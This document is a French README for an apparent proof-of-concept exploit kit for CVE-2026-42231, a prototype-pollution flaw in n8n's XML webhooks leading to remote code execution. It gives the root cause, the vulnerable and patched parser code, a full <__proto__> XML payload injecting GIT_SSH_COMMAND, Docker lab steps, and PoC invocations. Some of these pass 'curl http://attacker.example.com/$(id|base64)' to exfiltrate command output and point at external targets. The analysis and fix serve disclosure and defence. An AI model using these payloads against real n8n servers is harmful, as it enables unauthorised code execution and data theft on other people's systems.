
Preuve de concept d'exploitation pour CVE-2026-42231, une vulnérabilité critique de pollution de prototype dans les webhooks XML de n8n menant à une exécution de code à distance. Inclut un laboratoire Docker, un PoC Python et un vérificateur Node.js.
CVE: CVE-2026-42231
Sévérité: Critique (CVSS 10.0)
Versions affectées: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigé dans: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts crée un singleton
xml2js Parser au niveau du module sans tagNameProcessors ni
attrNameProcessors. Cela permet à un attaquant d'envoyer un corps de webhook XML
contenant un élément <__proto__>.
xml2js 0.6.2 utilise Object.defineProperty avec un descripteur de données pour définir
les clés d'éléments sur les objets analysés. Comme est toujours
, enveloppe la valeur dans un tableau et la stocke comme
— contournant l'accesseur qui
mettrait normalement à jour la chaîne de prototypes en toute sécurité.
'__proto__' in objtrueassignOrPush()[[Set]]La propriété propre __proto__ survit à JSON.stringify (exécuté lorsque n8n
persiste les données d'exécution dans SQLite/PostgreSQL), et après JSON.parse au
rechargement, un Object.assign(target, reloadedBody) ultérieur redirige
le prototype de target vers l'objet contrôlé par l'attaquant.
Dans les workflows contenant également un nœud Git effectuant une opération SSH,
le prototype pollué expose une valeur spawnOptions / GIT_SSH_COMMAND à
simple-git's createInstanceConfig, permettant l'exécution de commandes au niveau du système d'exploitation.
// packages/cli/src/middlewares/body-parser.ts (VULNÉRABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // met les balises en minuscules — mais ne bloque PAS __proto__
explicitArray: false,
// ← PAS de tagNameProcessors
// ← PAS de attrNameProcessors
});
Correctif (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. L'attaquant envoie un POST XML à un déclencheur Webhook public :
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. L'analyseur de corps xml2js crée req.body.root où '__proto__' est une
PROPRIÉTÉ DE DONNÉES ÉNUMÉRABLE PROPRE :
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. deepCopy() de n8n itère les clés propres via for...in + hasOwnProp.
L'affectation clone['__proto__'] = deepCopy(attackerArray)
remplace silencieusement le prototype de clone via l'accesseur [[Set]].
4. n8n sérialise les données d'exécution vers la base de données :
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
La clé __proto__ est incluse car elle est propre et énumérable.
Confirmé dans la table execution_data dans SQLite.
5. Au rechargement, JSON.parse recrée '__proto__' comme propriété de données propre
(objet simple, sans enveloppe de tableau).
Object.assign(gitOptions, reloadedBody)
redirige le prototype de gitOptions vers l'objet contrôlé par l'attaquant.
6. Lorsque le nœud Git appelle simpleGit(gitOptions) :
createInstanceConfig(gitOptions)
lit config.spawnOptions via la chaîne de prototypes → truthy →
spawnOptionsPlugin est enregistré.
Avec GIT_SSH_COMMAND dans l'objet env, git exécute la commande de
l'attaquant lors de la prochaine opération SSH.
normalizeTagsnormalizeTags: true met toutes les balises XML en minuscules, donc les éléments enfants
comme <GIT_SSH_COMMAND> deviennent git_ssh_command dans l'objet analysé.
Pour préserver la casse des noms de variables d'environnement, utilisez des attributs XML
(les noms d'attributs ne sont pas normalisés par normalizeTags) :
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Cela télécharge n8nio/n8n:1.123.22 (dernière version affectée), construit l'image
de l'attaquant, démarre la cible vulnérable à http://localhost:5678,
crée et active automatiquement un workflow webhook, et enregistre l'URL du
webhook dans .webhook_state.
./exploit.sh setup
Sortie attendue (tronquée) :
[*] Téléchargement de l'image n8n vulnérable (1.123.22) ...
[*] Construction de l'image de l'attaquant ...
[*] Démarrage de la cible n8n vulnérable ...
[*] Attente que n8n devienne sain ...
[*] Création du workflow webhook (Webhook → nœud Code) ...
[+] Laboratoire prêt.
Exécutez : ./exploit.sh demo # vérifier la primitive de pollution
./exploit.sh exploit # délivrer les trois payloads RCE
./exploit.sh demo
Le PoC envoie un payload de vérification et affiche le corps analysé renvoyé par le workflow n8n. Une instance vulnérable renvoie :
[+] HTTP 200
Réponse : {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# ou avec une commande personnalisée :
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Trois payloads complémentaires sont délivrés :
| Payload | Technique |
|---|---|
| A | Balise <__proto__> — GIT_SSH_COMMAND comme attribut XML |
| B | Chaîne <constructor><prototype> |
| C | <__proto__> imbriqué avec attributs env |
GIT_SSH_COMMAND injecté si le RCE a fonctionné."step4_objectAssignPolluted": true confirmant la chaîne.pip install -r requirements.txt
# Vérification uniquement — aucun nœud Git requis :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <chemin-webhook> \
--demo
# Exploitation complète — nécessite un workflow Webhook + Git/SSH :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <chemin-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
Dans certains déploiements, n8n enregistre le webhook comme
/webhook/<workflowId>/webhook/<chemin>. Si la forme courte
/webhook/<chemin> renvoie 404, passez le préfixe workflow-ID comme --target :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <chemin> \
--demo
Reproduit la configuration exacte de l'analyseur xml2js utilisée par n8n et parcourt les quatre étapes de la chaîne :
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Sortie attendue sur configuration vulnérable :
[ÉTAPE 1] VULNÉRABLE — '__proto__' est une propriété de données énumérable propre
descripteur : { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[ÉTAPE 1] L'analyseur corrigé a renommé __proto__ en sanitized___proto__
[ÉTAPE 2] Prototype deepCopy modifié → clone proto[1].polluted = "CONFIRMED"
[ÉTAPE 3] Après aller-retour JSON + Object.assign → target.polluted = "undefined"
[ RCE ] Si target est utilisé comme config simpleGit ET que le prototype expose
p.ex. { spawnOptions: { shell: true } }, git sera lancé via un shell
[ÉTAPE 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (trouvé via la chaîne de prototypes)
[ RCE ] simpleGit appellerait : spawnOptionsPlugin(config.spawnOptions)
══ RÉSULTAT : L'instance utilise une configuration xml2js VULNÉRABLE (pas de sanitizeXmlName) ══
# Construire l'image de l'attaquant
docker build -t n8n-proto-pollution-poc .
# Mode démo (se connecte au réseau de laboratoire partagé)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Exploitation complète
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Contre une cible externe (aucun indicateur réseau nécessaire)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <chemin> \
--demo
./exploit.sh clean
Arrête les conteneurs et supprime les volumes (y compris la base de données SQLite).
| Fichier | Description |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | PoC HTTP Python autonome — trois variantes de payload XML, modes --demo et --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | Vérificateur de chaîne local Node.js — parcourt les 4 étapes d'exploitation sans instance en direct |
Dockerfile | Image conteneur de l'attaquant |
docker-compose.yml | Laboratoire complet : n8n vulnérable + conteneur attaquant |
exploit.sh | Script d'aide pour configuration, démo, exploitation et nettoyage |
requirements.txt | Dépendances Python |